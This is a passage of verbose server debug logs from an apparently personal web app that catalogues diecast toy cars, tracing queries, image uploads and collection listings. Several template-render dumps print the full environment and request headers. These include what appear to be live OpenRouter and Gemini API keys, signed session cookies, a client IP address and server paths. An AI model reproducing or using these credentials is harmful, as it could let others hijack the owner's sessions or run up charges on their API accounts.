      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:52:57.414Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20251031_234030_00f3b2b9-67d0-4fd1-961a-6fc766521b07.jpg'
}
2026-02-04T10:52:57.415Z server-connect:app Executing action step delete
2026-02-04T10:52:57.415Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:52:57.415Z server-connect:output delete: { affected: 1 }
2026-02-04T10:52:57.415Z server-connect:app Executing action step remove
2026-02-04T10:52:57.415Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:52:57.415Z server-connect:output fileRemove: true
2026-02-04T10:52:57.642Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:52:57.642Z server-connect:app Executing action step identify
2026-02-04T10:52:57.642Z server-connect:app options: { provider: 'security' }
2026-02-04T10:52:57.642Z server-connect:output identity: 1
2026-02-04T10:52:57.642Z server-connect:app Executing action step restrict
2026-02-04T10:52:57.642Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:52:57.642Z server-connect:output restrict: undefined
2026-02-04T10:52:57.642Z server-connect:app Executing action step paged
2026-02-04T10:52:57.642Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:52:57.646Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:52:57.858Z server-connect:router Serving templateView /
2026-02-04T10:52:57.858Z server-connect:app Executing action step identify
2026-02-04T10:52:57.858Z server-connect:app options: { provider: 'security' }
2026-02-04T10:52:57.858Z server-connect:output identity: 1
2026-02-04T10:52:57.858Z server-connect:app Executing action step restrict
2026-02-04T10:52:57.858Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:52:57.859Z server-connect:output restrict: undefined
2026-02-04T10:52:57.859Z server-connect:app Executing action step restrict
2026-02-04T10:52:57.859Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:52:57.859Z server-connect:output restrict: undefined
2026-02-04T10:52:57.859Z server-connect:router Render template layouts/main
2026-02-04T10:52:57.859Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=172&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=172&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:53:00.435Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:53:00.436Z server-connect:app Executing action step identify
2026-02-04T10:53:00.436Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:00.436Z server-connect:output identity: 1
2026-02-04T10:53:00.436Z server-connect:app Executing action step restrict
2026-02-04T10:53:00.436Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:53:00.437Z server-connect:output restrict: undefined
2026-02-04T10:53:00.437Z server-connect:app Executing action step condition
2026-02-04T10:53:00.437Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:53:00.437Z server-connect:app Executing action step update
2026-02-04T10:53:00.437Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:53:00.437Z server-connect:output update: { affected: 1 }
2026-02-04T10:53:00.437Z server-connect:app Executing action step upload
2026-02-04T10:53:00.438Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:53:00.438Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:53:00.438Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:53:00.438Z server-connect:upload Processing file: {
  name: 's-l1600 (2).webp',
  data: <Buffer >,
  size: 131344,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-56-20378841770202380434',
  truncated: false,
  mimetype: 'image/webp',
  md5: '31a008ab134bcc0b81379e64bb16f9c4',
  mv: [Function: mv]
}
2026-02-04T10:53:00.438Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_2_e35e02bf-d894-486c-9118-af7d6d33faa0.webp',
  rel: 'public/assets/images/diecast/s-l1600_2_e35e02bf-d894-486c-9118-af7d6d33faa0.webp'
}
2026-02-04T10:53:00.438Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_2_e35e02bf-d894-486c-9118-af7d6d33faa0.webp',
  rel: 'assets/images/diecast/s-l1600_2_e35e02bf-d894-486c-9118-af7d6d33faa0.webp'
}
2026-02-04T10:53:00.438Z server-connect:output upload_image: [
  {
    name: 's-l1600_2_e35e02bf-d894-486c-9118-af7d6d33faa0.webp',
    path: '/public/assets/images/diecast/s-l1600_2_e35e02bf-d894-486c-9118-af7d6d33faa0.webp',
    url: '/assets/images/diecast/s-l1600_2_e35e02bf-d894-486c-9118-af7d6d33faa0.webp',
    type: 'image/webp',
    size: 131344
  }
]
2026-02-04T10:53:00.438Z server-connect:app Executing action step repeat
2026-02-04T10:53:00.438Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:53:00.438Z server-connect:app Executing action step insert
2026-02-04T10:53:00.438Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:53:00.438Z server-connect:output images: { affected: 1, identity: 207 }
2026-02-04T10:53:00.438Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:53:00.438Z server-connect:output condition: undefined
2026-02-04T10:53:00.657Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:53:00.657Z server-connect:app Executing action step identify
2026-02-04T10:53:00.657Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:00.657Z server-connect:output identity: 1
2026-02-04T10:53:00.658Z server-connect:app Executing action step restrict
2026-02-04T10:53:00.658Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:53:00.658Z server-connect:output restrict: undefined
2026-02-04T10:53:00.658Z server-connect:app Executing action step paged
2026-02-04T10:53:00.658Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:53:00.660Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:53:03.264Z server-connect:router Serving templateView /diecast
2026-02-04T10:53:03.264Z server-connect:app Executing action step identify
2026-02-04T10:53:03.264Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:03.264Z server-connect:output identity: 1
2026-02-04T10:53:03.264Z server-connect:app Executing action step restrict
2026-02-04T10:53:03.264Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:53:03.265Z server-connect:output restrict: undefined
2026-02-04T10:53:03.265Z server-connect:router Render template layouts/main
2026-02-04T10:53:03.265Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '172',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=172&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:53:16.753Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:53:16.753Z server-connect:app Executing action step identify
2026-02-04T10:53:16.753Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:16.754Z server-connect:output identity: 1
2026-02-04T10:53:16.754Z server-connect:app Executing action step restrict
2026-02-04T10:53:16.754Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:53:16.754Z server-connect:output restrict: undefined
2026-02-04T10:53:16.754Z server-connect:app Executing action step select
2026-02-04T10:53:16.754Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:53:16.759Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
